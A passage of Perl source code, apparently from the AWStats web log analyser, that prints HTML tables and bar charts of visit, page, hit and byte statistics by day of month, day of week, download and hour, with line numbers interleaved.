                print "<td>&nbsp;</td>";
 
13445
                print "<td valign=\"middle\""
 
13446
                  . Tooltip(18)
 
13447
                  . ">$Message[96]</td>\n";
 
13448
                print "</tr>\n";
 
13449
                print "</table>\n";
 
13450
        }
 
13451
        print "<br />\n";
 
13452
 
 
13453
        # Show data array for days
 
13454
        if ($AddDataArrayShowDaysOfMonthStats) {
 
13455
                print "<table>\n";
 
13456
                print
 
13457
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
 
13458
                if ( $ShowDaysOfMonthStats =~ /V/i ) {
 
13459
                        print "<td width=\"80\" bgcolor=\"#$color_v\""
 
13460
                          . Tooltip(1)
 
13461
                          . ">$Message[10]</td>";
 
13462
                }
 
13463
                if ( $ShowDaysOfMonthStats =~ /P/i ) {
 
13464
                        print "<td width=\"80\" bgcolor=\"#$color_p\""
 
13465
                          . Tooltip(3)
 
13466
                          . ">$Message[56]</td>";
 
13467
                }
 
13468
                if ( $ShowDaysOfMonthStats =~ /H/i ) {
 
13469
                        print "<td width=\"80\" bgcolor=\"#$color_h\""
 
13470
                          . Tooltip(4)
 
13471
                          . ">$Message[57]</td>";
 
13472
                }
 
13473
                if ( $ShowDaysOfMonthStats =~ /B/i ) {
 
13474
                        print "<td width=\"80\" bgcolor=\"#$color_k\""
 
13475
                          . Tooltip(5)
 
13476
                          . ">$Message[75]</td>";
 
13477
                }
 
13478
                print "</tr>";
 
13479
                foreach
 
13480
                  my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
 
13481
                {
 
13482
                        $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
 
13483
                        my $year  = $1;
 
13484
                        my $month = $2;
 
13485
                        my $day   = $3;
 
13486
                        if ( !DateIsValid( $day, $month, $year ) ) {
 
13487
                                next;
 
13488
                        }    # If not an existing day, go to next
 
13489
                        my $dayofweekcursor = DayOfWeek( $day, $month, $year );
 
13490
                        print "<tr"
 
13491
                          . (
 
13492
                                $dayofweekcursor =~ /[06]/
 
13493
                                ? " bgcolor=\"#$color_weekend\""
 
13494
                                : ""
 
13495
                          )
 
13496
                          . ">";
 
13497
                        print "<td>"
 
13498
                          . (
 
13499
                                !$StaticLinks
 
13500
                                  && $day == $nowday
 
13501
                                  && $month == $nowmonth
 
13502
                                  && $year == $nowyear
 
13503
                                ? '<font class="currentday">'
 
13504
                                : ''
 
13505
                          );
 
13506
                        print Format_Date( "$year$month$day" . "000000", 2 );
 
13507
                        print(   !$StaticLinks
 
13508
                                  && $day == $nowday
 
13509
                                  && $month == $nowmonth
 
13510
                                  && $year == $nowyear ? '</font>' : '' );
 
13511
                        print "</td>";
 
13512
                        if ( $ShowDaysOfMonthStats =~ /V/i ) {
 
13513
                                print "<td>",
 
13514
                                  Format_Number($DayVisits{ $year . $month . $day }
 
13515
                                  ? $DayVisits{ $year . $month . $day }
 
13516
                                  : "0"), "</td>";
 
13517
                        }
 
13518
                        if ( $ShowDaysOfMonthStats =~ /P/i ) {
 
13519
                                print "<td>",
 
13520
                                  Format_Number($DayPages{ $year . $month . $day }
 
13521
                                  ? $DayPages{ $year . $month . $day }
 
13522
                                  : "0"), "</td>";
 
13523
                        }
 
13524
                        if ( $ShowDaysOfMonthStats =~ /H/i ) {
 
13525
                                print "<td>",
 
13526
                                  Format_Number($DayHits{ $year . $month . $day }
 
13527
                                  ? $DayHits{ $year . $month . $day }
 
13528
                                  : "0"), "</td>";
 
13529
                        }
 
13530
                        if ( $ShowDaysOfMonthStats =~ /B/i ) {
 
13531
                                print "<td>",
 
13532
                                  Format_Bytes(
 
13533
                                        int( $DayBytes{ $year . $month . $day } || 0 ) ),
 
13534
                                  "</td>";
 
13535
                        }
 
13536
                        print "</tr>\n";
 
13537
                }
 
13538
 
 
13539
                # Average row
 
13540
                print
 
13541
"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[96]</td>";
 
13542
                if ( $ShowDaysOfMonthStats =~ /V/i ) {
 
13543
                        print "<td>".Format_Number(int($average_v))."</td>";
 
13544
                }
 
13545
                if ( $ShowDaysOfMonthStats =~ /P/i ) {
 
13546
                        print "<td>".Format_Number(int($average_p))."</td>";
 
13547
                }
 
13548
                if ( $ShowDaysOfMonthStats =~ /H/i ) {
 
13549
                        print "<td>".Format_Number(int($average_h))."</td>";
 
13550
                }
 
13551
                if ( $ShowDaysOfMonthStats =~ /B/i ) {
 
13552
                        print "<td>".Format_Bytes(int($average_k))."</td>";
 
13553
                }
 
13554
                print "</tr>\n";
 
13555
 
 
13556
                # Total row
 
13557
                print
 
13558
"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[102]</td>";
 
13559
                if ( $ShowDaysOfMonthStats =~ /V/i ) {
 
13560
                        print "<td>".Format_Number($total_v)."</td>";
 
13561
                }
 
13562
                if ( $ShowDaysOfMonthStats =~ /P/i ) {
 
13563
                        print "<td>".Format_Number($total_p)."</td>";
 
13564
                }
 
13565
                if ( $ShowDaysOfMonthStats =~ /H/i ) {
 
13566
                        print "<td>".Format_Number($total_h)."</td>";
 
13567
                }
 
13568
                if ( $ShowDaysOfMonthStats =~ /B/i ) {
 
13569
                        print "<td>" . Format_Bytes($total_k) . "</td>";
 
13570
                }
 
13571
                print "</tr>\n";
 
13572
                print "</table>\n<br />";
 
13573
        }
 
13574
 
 
13575
        print "</center>\n";
 
13576
        print "</td></tr>\n";
 
13577
        &tab_end();
 
13578
}
 
13579
 
 
13580
#------------------------------------------------------------------------------
 
13581
# Function:     Prints the Days of the Week section on the main page
 
13582
# Parameters:   $firstdaytocountaverage, $lastdaytocountaverage
 
13583
# Input:        _
 
13584
# Output:       HTML
 
13585
# Return:       -
 
13586
#------------------------------------------------------------------------------
 
13587
sub HTMLMainDaysofWeek{
 
13588
        my $firstdaytocountaverage = shift;
 
13589
        my $lastdaytocountaverage = shift;
 
13590
        if ($Debug) { debug( "ShowDaysOfWeekStats", 2 ); }
 
13591
                        print "$Center<a name=\"daysofweek\">&nbsp;</a><br />\n";
 
13592
                        my $title = "$Message[91]";
 
13593
                        &tab_head( "$title", 18, 0, 'daysofweek' );
 
13594
                        print "<tr>";
 
13595
                        print "<td align=\"center\">";
 
13596
                        print "<center>\n";
 
13597
 
 
13598
                        my $max_h = my $max_k = 0;    # Start from 0 because can be lower than 1
 
13599
                                                # Get average value for day of week
 
13600
                        my @avg_dayofweek_nb = ();
 
13601
                        my @avg_dayofweek_p  = ();
 
13602
                        my @avg_dayofweek_h  = ();
 
13603
                        my @avg_dayofweek_k  = ();
 
13604
                        foreach my $daycursor (
 
13605
                                $firstdaytocountaverage .. $lastdaytocountaverage )
 
13606
                        {
 
13607
                                $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
 
13608
                                my $year  = $1;
 
13609
                                my $month = $2;
 
13610
                                my $day   = $3;
 
13611
                                if ( !DateIsValid( $day, $month, $year ) ) {
 
13612
                                        next;
 
13613
                                }    # If not an existing day, go to next
 
13614
                                my $dayofweekcursor = DayOfWeek( $day, $month, $year );
 
13615
                                $avg_dayofweek_nb[$dayofweekcursor]
 
13616
                                  ++; # Increase number of day used to count for this day of week
 
13617
                                $avg_dayofweek_p[$dayofweekcursor] +=
 
13618
                                  ( $DayPages{$daycursor} || 0 );
 
13619
                                $avg_dayofweek_h[$dayofweekcursor] +=
 
13620
                                  ( $DayHits{$daycursor} || 0 );
 
13621
                                $avg_dayofweek_k[$dayofweekcursor] +=
 
13622
                                  ( $DayBytes{$daycursor} || 0 );
 
13623
                        }
 
13624
                        for (@DOWIndex) {
 
13625
                                if ( $avg_dayofweek_nb[$_] ) {
 
13626
                                        $avg_dayofweek_p[$_] =
 
13627
                                          $avg_dayofweek_p[$_] / $avg_dayofweek_nb[$_];
 
13628
                                        $avg_dayofweek_h[$_] =
 
13629
                                          $avg_dayofweek_h[$_] / $avg_dayofweek_nb[$_];
 
13630
                                        $avg_dayofweek_k[$_] =
 
13631
                                          $avg_dayofweek_k[$_] / $avg_dayofweek_nb[$_];
 
13632
 
 
13633
                  #if ($avg_dayofweek_p[$_] > $max_p) { $max_p = $avg_dayofweek_p[$_]; }
 
13634
                                        if ( $avg_dayofweek_h[$_] > $max_h ) {
 
13635
                                                $max_h = $avg_dayofweek_h[$_];
 
13636
                                        }
 
13637
                                        if ( $avg_dayofweek_k[$_] > $max_k ) {
 
13638
                                                $max_k = $avg_dayofweek_k[$_];
 
13639
                                        }
 
13640
                                }
 
13641
                                else {
 
13642
                                        $avg_dayofweek_p[$_] = "?";
 
13643
                                        $avg_dayofweek_h[$_] = "?";
 
13644
                                        $avg_dayofweek_k[$_] = "?";
 
13645
                                }
 
13646
                        }
 
13647
 
 
13648
                        # Show bars for days of week
 
13649
                        my $graphdone=0;
 
13650
                        foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
13651
                        {
 
13652
                                my @blocklabel = ();
 
13653
                                for (@DOWIndex) {
 
13654
                                        push @blocklabel,
 
13655
                                          ( $Message[ $_ + 84 ] . ( $_ =~ /[06]/ ? "!" : "" ) );
 
13656
                                }
 
13657
                                my @vallabel =
 
13658
                                  ( "$Message[56]", "$Message[57]", "$Message[75]" );
 
13659
                                my @valcolor = ( "$color_p", "$color_h", "$color_k" );
 
13660
                                my @valmax = ( int($max_h), int($max_h), int($max_k) );
 
13661
                                my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes );
 
13662
                                # TEMP
 
13663
                                my $average_p = my $average_h = my $average_k = 0;
 
13664
                                $average_p = sprintf( "%.2f", $AveragePages );
 
13665
                                $average_h = sprintf( "%.2f", $AverageHits );
 
13666
                                $average_k = (
 
13667
                                        int($average_k)
 
13668
                                        ? Format_Bytes( sprintf( "%.2f", $AverageBytes ) )
 
13669
                                        : "0.00"
 
13670
                                );
 
13671
                                my @valaverage = ( $average_p, $average_h, $average_k );
 
13672
                                my @valdata    = ();
 
13673
                                my $xx         = 0;
 
13674
 
 
13675
                                for (@DOWIndex) {
 
13676
                                        $valdata[ $xx++ ] = $avg_dayofweek_p[$_] || 0;
 
13677
                                        $valdata[ $xx++ ] = $avg_dayofweek_h[$_] || 0;
 
13678
                                        $valdata[ $xx++ ] = $avg_dayofweek_k[$_] || 0;
 
13679
 
 
13680
                                        # Round to be ready to show array
 
13681
                                        $avg_dayofweek_p[$_] =
 
13682
                                          sprintf( "%.2f", $avg_dayofweek_p[$_] );
 
13683
                                        $avg_dayofweek_h[$_] =
 
13684
                                          sprintf( "%.2f", $avg_dayofweek_h[$_] );
 
13685
                                        $avg_dayofweek_k[$_] =
 
13686
                                          sprintf( "%.2f", $avg_dayofweek_k[$_] );
 
13687
 
 
13688
                                        # Remove decimal part that are .0
 
13689
                                        if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
 
13690
                                                $avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
 
13691
                                        }
 
13692
                                        if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
 
13693
                                                $avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
 
13694
                                        }
 
13695
                                }
 
13696
                                my $function = "ShowGraph_$pluginname";
 
13697
                                &$function(
 
13698
                                        "$title",             "daysofweek",
 
13699
                                        $ShowDaysOfWeekStats, \@blocklabel,
 
13700
                                        \@vallabel,           \@valcolor,
 
13701
                                        \@valmax,             \@valtotal,
 
13702
                                        \@valaverage,         \@valdata
 
13703
                                );
 
13704
                                $graphdone=1;
 
13705
                        }
 
13706
                        if (! $graphdone) 
 
13707
                        {
 
13708
                                print "<table>\n";
 
13709
                                print "<tr valign=\"bottom\">\n";
 
13710
                                for (@DOWIndex) {
 
13711
                                        my $bredde_p = 0;
 
13712
                                        my $bredde_h = 0;
 
13713
                                        my $bredde_k = 0;
 
13714
                                        if ( $max_h > 0 ) {
 
13715
                                                $bredde_p = int(
 
13716
                                                        (
 
13717
                                                                  $avg_dayofweek_p[$_] ne '?'
 
13718
                                                                ? $avg_dayofweek_p[$_]
 
13719
                                                                : 0
 
13720
                                                        ) / $max_h * $BarHeight
 
13721
                                                ) + 1;
 
13722
                                        }
 
13723
                                        if ( $max_h > 0 ) {
 
13724
                                                $bredde_h = int(
 
13725
                                                        (
 
13726
                                                                  $avg_dayofweek_h[$_] ne '?'
 
13727
                                                                ? $avg_dayofweek_h[$_]
 
13728
                                                                : 0
 
13729
                                                        ) / $max_h * $BarHeight
 
13730
                                                ) + 1;
 
13731
                                        }
 
13732
                                        if ( $max_k > 0 ) {
 
13733
                                                $bredde_k = int(
 
13734
                                                        (
 
13735
                                                                  $avg_dayofweek_k[$_] ne '?'
 
13736
                                                                ? $avg_dayofweek_k[$_]
 
13737
                                                                : 0
 
13738
                                                        ) / $max_k * $BarHeight
 
13739
                                                ) + 1;
 
13740
                                        }
 
13741
                                        $avg_dayofweek_p[$_] = sprintf(
 
13742
                                                "%.2f",
 
13743
                                                (
 
13744
                                                          $avg_dayofweek_p[$_] ne '?'
 
13745
                                                        ? $avg_dayofweek_p[$_]
 
13746
                                                        : 0
 
13747
                                                )
 
13748
                                        );
 
13749
                                        $avg_dayofweek_h[$_] = sprintf(
 
13750
                                                "%.2f",
 
13751
                                                (
 
13752
                                                          $avg_dayofweek_h[$_] ne '?'
 
13753
                                                        ? $avg_dayofweek_h[$_]
 
13754
                                                        : 0
 
13755
                                                )
 
13756
                                        );
 
13757
                                        $avg_dayofweek_k[$_] = sprintf(
 
13758
                                                "%.2f",
 
13759
                                                (
 
13760
                                                          $avg_dayofweek_k[$_] ne '?'
 
13761
                                                        ? $avg_dayofweek_k[$_]
 
13762
                                                        : 0
 
13763
                                                )
 
13764
                                        );
 
13765
 
 
13766
                                        # Remove decimal part that are .0
 
13767
                                        if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
 
13768
                                                $avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
 
13769
                                        }
 
13770
                                        if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
 
13771
                                                $avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
 
13772
                                        }
 
13773
                                        print "<td valign=\"bottom\">";
 
13774
                                        if ( $ShowDaysOfWeekStats =~ /P/i ) {
 
13775
                                                print
 
13776
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
 
13777
                                                  . AltTitle("$Message[56]: $avg_dayofweek_p[$_]")
 
13778
                                                  . " />";
 
13779
                                        }
 
13780
                                        if ( $ShowDaysOfWeekStats =~ /H/i ) {
 
13781
                                                print
 
13782
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
 
13783
                                                  . AltTitle("$Message[57]: $avg_dayofweek_h[$_]")
 
13784
                                                  . " />";
 
13785
                                        }
 
13786
                                        if ( $ShowDaysOfWeekStats =~ /B/i ) {
 
13787
                                                print
 
13788
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
 
13789
                                                  . AltTitle( "$Message[75]: "
 
13790
                                                          . Format_Bytes( $avg_dayofweek_k[$_] ) )
 
13791
                                                  . " />";
 
13792
                                        }
 
13793
                                        print "</td>\n";
 
13794
                                }
 
13795
                                print "</tr>\n";
 
13796
                                print "<tr" . Tooltip(17) . ">\n";
 
13797
                                for (@DOWIndex) {
 
13798
                                        print "<td"
 
13799
                                          . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
 
13800
                                          . ">"
 
13801
                                          . (
 
13802
                                                !$StaticLinks
 
13803
                                                  && $_ == ( $nowwday - 1 )
 
13804
                                                  && $MonthRequired == $nowmonth
 
13805
                                                  && $YearRequired == $nowyear
 
13806
                                                ? '<font class="currentday">'
 
13807
                                                : ''
 
13808
                                          );
 
13809
                                        print $Message[ $_ + 84 ];
 
13810
                                        print(   !$StaticLinks
 
13811
                                                  && $_ == ( $nowwday - 1 )
 
13812
                                                  && $MonthRequired == $nowmonth
 
13813
                                                  && $YearRequired == $nowyear ? '</font>' : '' );
 
13814
                                        print "</td>";
 
13815
                                }
 
13816
                                print "</tr>\n</table>\n";
 
13817
                        }
 
13818
                        print "<br />\n";
 
13819
 
 
13820
                        # Show data array for days of week
 
13821
                        if ($AddDataArrayShowDaysOfWeekStats) {
 
13822
                                print "<table>\n";
 
13823
                                print
 
13824
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
 
13825
                                if ( $ShowDaysOfWeekStats =~ /P/i ) {
 
13826
                                        print "<td width=\"80\" bgcolor=\"#$color_p\""
 
13827
                                          . Tooltip(3)
 
13828
                                          . ">$Message[56]</td>";
 
13829
                                }
 
13830
                                if ( $ShowDaysOfWeekStats =~ /H/i ) {
 
13831
                                        print "<td width=\"80\" bgcolor=\"#$color_h\""
 
13832
                                          . Tooltip(4)
 
13833
                                          . ">$Message[57]</td>";
 
13834
                                }
 
13835
                                if ( $ShowDaysOfWeekStats =~ /B/i ) {
 
13836
                                        print "<td width=\"80\" bgcolor=\"#$color_k\""
 
13837
                                          . Tooltip(5)
 
13838
                                          . ">$Message[75]</td></tr>";
 
13839
                                }
 
13840
                                for (@DOWIndex) {
 
13841
                                        print "<tr"
 
13842
                                          . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
 
13843
                                          . ">";
 
13844
                                        print "<td>"
 
13845
                                          . (
 
13846
                                                !$StaticLinks
 
13847
                                                  && $_ == ( $nowwday - 1 )
 
13848
                                                  && $MonthRequired == $nowmonth
 
13849
                                                  && $YearRequired == $nowyear
 
13850
                                                ? '<font class="currentday">'
 
13851
                                                : ''
 
13852
                                          );
 
13853
                                        print $Message[ $_ + 84 ];
 
13854
                                        print(   !$StaticLinks
 
13855
                                                  && $_ == ( $nowwday - 1 )
 
13856
                                                  && $MonthRequired == $nowmonth
 
13857
                                                  && $YearRequired == $nowyear ? '</font>' : '' );
 
13858
                                        print "</td>";
 
13859
                                        if ( $ShowDaysOfWeekStats =~ /P/i ) {
 
13860
                                                print "<td>", Format_Number(int($avg_dayofweek_p[$_])), "</td>";
 
13861
                                        }
 
13862
                                        if ( $ShowDaysOfWeekStats =~ /H/i ) {
 
13863
                                                print "<td>", Format_Number(int($avg_dayofweek_h[$_])), "</td>";
 
13864
                                        }
 
13865
                                        if ( $ShowDaysOfWeekStats =~ /B/i ) {
 
13866
                                                print "<td>", Format_Bytes(int($avg_dayofweek_k[$_])),
 
13867
                                                  "</td>";
 
13868
                                        }
 
13869
                                        print "</tr>\n";
 
13870
                                }
 
13871
                                print "</table>\n<br />\n";
 
13872
                        }
 
13873
 
 
13874
                        print "</center></td>";
 
13875
                        print "</tr>\n";
 
13876
                        &tab_end();
 
13877
}
 
13878
 
 
13879
#------------------------------------------------------------------------------
 
13880
# Function:     Prints the Downloads chart and table
 
13881
# Parameters:   -
 
13882
# Input:        -
 
13883
# Output:       HTML
 
13884
# Return:       -
 
13885
#------------------------------------------------------------------------------
 
13886
sub HTMLMainDownloads{
 
13887
        my $NewLinkParams = shift;
 
13888
        my $NewLinkTarget = shift;
 
13889
        if (!$LevelForFileTypesDetection > 0){return;}
 
13890
        if ($Debug) { debug( "ShowDownloadStats", 2 ); }
 
13891
        my $regext         = qr/\.(\w{1,6})$/;
 
13892
        print "$Center<a name=\"downloads\">&nbsp;</a><br />\n";
 
13893
        my $Totalh = 0;
 
13894
        if ($MaxNbOf{'DownloadsShown'} < 1){$MaxNbOf{'DownloadsShown'} = 10;}   # default if undefined
 
13895
        my $title =
 
13896
          "$Message[178] ($Message[77] $MaxNbOf{'DownloadsShown'}) &nbsp; - &nbsp; <a href=\""
 
13897
          . (
 
13898
                $ENV{'GATEWAY_INTERFACE'}
 
13899
                  || !$StaticLinks
 
13900
                ? XMLEncode("$AWScript${NewLinkParams}output=downloads")
 
13901
                : "$StaticLinks.downloads.$StaticExt"
 
13902
          )
 
13903
          . "\"$NewLinkTarget>$Message[80]</a>";
 
13904
        &tab_head( "$title", 0, 0, 'downloads' );
 
13905
        my $cnt=0;
 
13906
        for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
 
13907
                $Totalh += $_downloads{$u}->{'AWSTATS_HITS'};
 
13908
                $cnt++;
 
13909
                if ($cnt > 4){last;}
 
13910
        }
 
13911
        # Graph the top five in a pie chart
 
13912
        if (scalar keys %_downloads > 1){
 
13913
                foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
13914
                {
 
13915
                        my @blocklabel = ();
 
13916
                        my @valdata = ();
 
13917
                        my @valcolor = ($color_p);
 
13918
                        my $cnt = 0;
 
13919
                        for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
 
13920
                                push @valdata, ($_downloads{$u}->{'AWSTATS_HITS'} / $Totalh * 1000 ) / 10;
 
13921
                                push @blocklabel, Get_Filename($u);
 
13922
                                $cnt++;
 
13923
                                if ($cnt > 4) { last; }
 
13924
                        }
 
13925
                        my $columns = 2;
 
13926
                        if ($ShowDownloadsStats =~ /H/i){$columns += length($ShowDownloadsStats)+1;}
 
13927
                        else{$columns += length($ShowDownloadsStats);}
 
13928
                        print "<tr><td colspan=\"$columns\">";
 
13929
                        my $function = "ShowGraph_$pluginname";
 
13930
                        &$function(
 
13931
                                "$Message[80]",              "downloads",
 
13932
                                0,                                              \@blocklabel,
 
13933
                                0,                              \@valcolor,
 
13934
                                0,                              0,
 
13935
                                0,                              \@valdata
 
13936
                        );
 
13937
                        print "</td></tr>";
 
13938
                }
 
13939
        }
 
13940
        
 
13941
        my $total_dls = scalar keys %_downloads;
 
13942
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]: $total_dls</th>";
 
13943
        if ( $ShowDownloadsStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"
 
13944
                ."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; }
 
13945
        if ( $ShowDownloadsStats =~ /B/i ){
 
13946
                print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
 
13947
                print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; 
 
13948
        }
 
13949
        print "</tr>\n";
 
13950
        my $count   = 0;
 
13951
        for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
 
13952
                print "<tr>";
 
13953
                my $ext = Get_Extension($regext, $u);
 
13954
                if ( !$ext) {
 
13955
                        print "<td"
 
13956
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
13957
                          . "><img src=\"$DirIcons\/mime\/unknown.png\""
 
13958
                          . AltTitle("")
 
13959
                          . " /></td>";
 
13960
                }
 
13961
                else {
 
13962
                        my $nameicon = $MimeHashLib{$ext}[0] || "notavailable";
 
13963
                        my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || "&nbsp;";
 
13964
                        print "<td"
 
13965
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
13966
                          . "><img src=\"$DirIcons\/mime\/$nameicon.png\""
 
13967
                          . AltTitle("")
 
13968
                          . " /></td>";
 
13969
                }
 
13970
                print "<td class=\"aws\">";
 
13971
                &HTMLShowURLInfo($u);
 
13972
                print "</td>";
 
13973
                if ( $ShowDownloadsStats =~ /H/i ){
 
13974
                        print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>";
 
13975
                        print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>";
 
13976
                }
 
13977
                if ( $ShowDownloadsStats =~ /B/i ){
 
13978
                        print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>";
 
13979
                        print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/
 
13980
                                        ($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>";
 
13981
                }
 
13982
                print "</tr>\n";
 
13983
                $count++;
 
13984
                if ($count >= $MaxNbOf{'DownloadsShown'}){last;}
 
13985
        }
 
13986
        &tab_end();
 
13987
}
 
13988
 
 
13989
#------------------------------------------------------------------------------
 
13990
# Function:     Prints the hours chart and table
 
13991
# Parameters:   -
 
13992
# Input:        -
 
13993
# Output:       HTML
 
13994
# Return:       -
 
13995
#------------------------------------------------------------------------------
 
13996
sub HTMLMainHours{
 
13997
        if ($Debug) { debug( "ShowHoursStats", 2 ); }
 
13998
        print "$Center<a name=\"hours\">&nbsp;</a><br />\n";
 
13999
        my $title = "$Message[20]";
 
14000
        if ( $PluginsLoaded{'GetTimeZoneTitle'}{'timezone'} ) {
 
14001
                $title .= " (GMT "
 
14002
                  . ( GetTimeZoneTitle_timezone() >= 0 ? "+" : "" )
 
14003
                  . int( GetTimeZoneTitle_timezone() ) . ")";
 
14004
        }
 
14005
        &tab_head( "$title", 19, 0, 'hours' );
 
14006
        print "<tr><td align=\"center\">\n";
 
14007
        print "<center>\n";
 
14008
 
 
14009
        my $max_h = my $max_k = 1;
 
14010
        for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
 
14011
 
 
14012
                #if ($_time_p[$ix]>$max_p) { $max_p=$_time_p[$ix]; }
 
14013
                if ( $_time_h[$ix] > $max_h ) { $max_h = $_time_h[$ix]; }
 
14014
                if ( $_time_k[$ix] > $max_k ) { $max_k = $_time_k[$ix]; }
 
14015
        }
 
14016
 
 
14017
        # Show bars for hour
 
14018
        my $graphdone=0;
 
14019
        foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
14020
        {
 
14021
                my @blocklabel = ( 0 .. 23 );
 
14022
                my @vallabel   =
 
14023
                  ( "$Message[56]", "$Message[57]", "$Message[75]" );
 
14024
                my @valcolor = ( "$color_p", "$color_h", "$color_k" );
 
14025
                my @valmax = ( int($max_h), int($max_h), int($max_k) );
 
14026
                my @valtotal   = ( $TotalPages,   $TotalHits,   $TotalBytes );
 
14027
                my @valaverage = ( $AveragePages, $AverageHits, $AverageBytes );
 
14028
                my @valdata    = ();
 
14029
                my $xx         = 0;
 
14030
                for ( 0 .. 23 ) {
 
14031
                        $valdata[ $xx++ ] = $_time_p[$_] || 0;
 
14032
                        $valdata[ $xx++ ] = $_time_h[$_] || 0;
 
14033
                        $valdata[ $xx++ ] = $_time_k[$_] || 0;
 
14034
                }
 
14035
                my $function = "ShowGraph_$pluginname";
 
14036
                &$function(
 
14037
                        "$title",        "hours",
 
14038
                        $ShowHoursStats, \@blocklabel,
 
14039
                        \@vallabel,      \@valcolor,
 
14040
                        \@valmax,        \@valtotal,
 
14041
                        \@valaverage,    \@valdata
 
14042
                );
 
14043
                $graphdone=1;
 
14044
        }
 
14045
        if (! $graphdone) 
 
14046
        {
 
14047
                print "<table>\n";
 
14048
                print "<tr valign=\"bottom\">\n";
 
14049
                for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
 
14050
                        my $bredde_p = 0;
 
14051
                        my $bredde_h = 0;
 
14052
                        my $bredde_k = 0;
 
14053
                        if ( $max_h > 0 ) {
 
14054
                                $bredde_p =
 
14055
                                  int( $BarHeight * $_time_p[$ix] / $max_h ) + 1;
 
14056
                        }
 
14057
                        if ( $max_h > 0 ) {
 
14058
                                $bredde_h =
 
14059
                                  int( $BarHeight * $_time_h[$ix] / $max_h ) + 1;
 
14060
                        }
 
14061
                        if ( $max_k > 0 ) {
 
14062
                                $bredde_k =
 
14063
                                  int( $BarHeight * $_time_k[$ix] / $max_k ) + 1;
 
14064
                        }
 
14065
                        print "<td>";
 
14066
                        if ( $ShowHoursStats =~ /P/i ) {
 
14067
                                print
 
14068
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
 
14069
                                  . AltTitle( "$Message[56]: " . int( $_time_p[$ix] ) )
 
14070
                                  . " />";
 
14071
                        }
 
14072
                        if ( $ShowHoursStats =~ /H/i ) {
 
14073
                                print
 
14074
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
 
14075
                                  . AltTitle( "$Message[57]: " . int( $_time_h[$ix] ) )
 
14076
                                  . " />";
 
14077
                        }
 
14078
                        if ( $ShowHoursStats =~ /B/i ) {
 
14079
                                print
 
14080
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
 
14081
                                  . AltTitle(
 
14082
                                        "$Message[75]: " . Format_Bytes( $_time_k[$ix] ) )
 
14083
                                  . " />";
 
14084
                        }
 
14085
                        print "</td>\n";
 
14086
                }
 
14087
                print "</tr>\n";
 
14088
 
 
14089
                # Show hour lib
 
14090
                print "<tr" . Tooltip(17) . ">";
 
14091
                for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
 
14092
                        print "<th width=\"19\">$ix</th>\n"
 
14093
                          ;   # width=19 instead of 18 to avoid a MacOS browser bug.
 
14094
                }
 
14095
                print "</tr>\n";
 
14096
 
 
14097
                # Show clock icon
 
14098
                print "<tr" . Tooltip(17) . ">\n";
 
14099
                for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
 
14100
                        my $hrs = ( $ix >= 12 ? $ix - 12 : $ix );
 
14101
                        my $hre = ( $ix >= 12 ? $ix - 11 : $ix + 1 );
 
14102
